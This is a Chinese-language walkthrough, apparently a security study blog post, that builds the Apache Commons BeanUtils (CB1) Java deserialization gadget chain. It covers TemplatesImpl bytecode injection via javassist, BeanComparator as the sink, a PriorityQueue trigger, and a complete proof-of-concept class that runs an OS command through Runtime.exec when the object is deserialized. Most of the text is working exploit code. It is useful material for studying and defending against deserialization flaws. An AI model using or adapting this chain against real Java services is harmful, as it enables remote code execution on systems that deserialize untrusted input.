Apache Commons BeanUtils
环境搭建
  <dependency>
            <groupId>commons-beanutils</groupId>
            <artifactId>commons-beanutils</artifactId>
            <version>1.9.4</version>
        </dependency>
demo
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.InvocationTargetException;
public class person
{
    private String name = "catalina";
    public void setName(String name)
    {
        this.name = name;
    }
    public String getName()
    {
        return name;
    }
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException
    {
        person person1 = new person();
        System.out.println(PropertyUtils.getProperty(person1, "name"));
    }
}

试图理由它调用任意函数执行命令
PropertyUtils.getProperty
调试

进入getProperty

进入getNestedProperty

getSimpleProperty

经过 getPropertyDescriptor

可以看到,我们传入的是 name ,这里返回 Bean 属性值是 Name ,并且 set 方法与 get 方法都是 setName , getName ,这是 JavaBean 的命名格式,会将传进来的小写首字母大写
关于javaBean的一些知识[什么是JavaBean? - JYRoy - 博客园 (cnblogs.com)](https://www.cnblogs.com/jyroy/p/11102298.html#:~:text= JavaBeans是Java中一种特殊的类,可以将多个对象封装到一个对象(bean)中。,特点是可序列化,提供无参构造器,提供getter方法和setter方法访问对象的属性。 名称中的“Bean”是用于Java的可重用软件组件的惯用叫法。)
之后来到involk

invoke调用
getTemplatesImpl
cc
从cc的构造中,我们学习了getTemplatesImpl,如下 两者结合
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.Unsafe;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class exp {
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }
    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");
        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());
        System.out.println(PropertyUtils.getProperty(templates, "outputProperties"));
    }
}
注意因为之前说的 J JavaBean 特性, OutputProperties 首字母要小写
之后寻找哪里调用了PropertyUtils.getProperty
看到是
        BeanComparator.compare
o1可以直接传入。property在构造函数这里

poc
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");
        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());
//        System.out.println(PropertyUtils.getProperty(templates, "outputProperties"));
        BeanComparator outputProperties = new BeanComparator("outputProperties");
        outputProperties.compare(templates,new TemplatesImpl());
    }
从优先队列到TransformingComparator
所以只差一个反序列化的readObject,会想起之前cc4的优先队列有调用过compare,可以再碰碰运气

cc4的poc回顾
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");
        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new  ChainedTransformer(transformers);
        //chainedTransformer.transform(1);
        TransformingComparator ioTransformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        //以下是优先队列的使用
        PriorityQueue priorityQueue = new PriorityQueue<>(ioTransformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        Class c = ioTransformingComparator.getClass();
        Field field = c.getDeclaredField("transformer");
        field.setAccessible(true);
        field.set(ioTransformingComparator,chainedTransformer);
        //serialize(priorityQueue);
        unserialize("ser.bin");两者结合一下,中间一不小心还漏了点东西
完整poc
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.Unsafe;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
public class person {
    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }
    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");
        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());
//        System.out.println(PropertyUtils.getProperty(templates, "outputProperties"));
        BeanComparator outputProperties = new BeanComparator("outputProperties");
//        outputProperties.compare(templates,new TemplatesImpl());
        TransformingComparator ioTransformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(ioTransformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(templates);
        setValue(priorityQueue, "comparator", outputProperties);
        serialize(priorityQueue);
        unserialize("ser.bin");
    }
}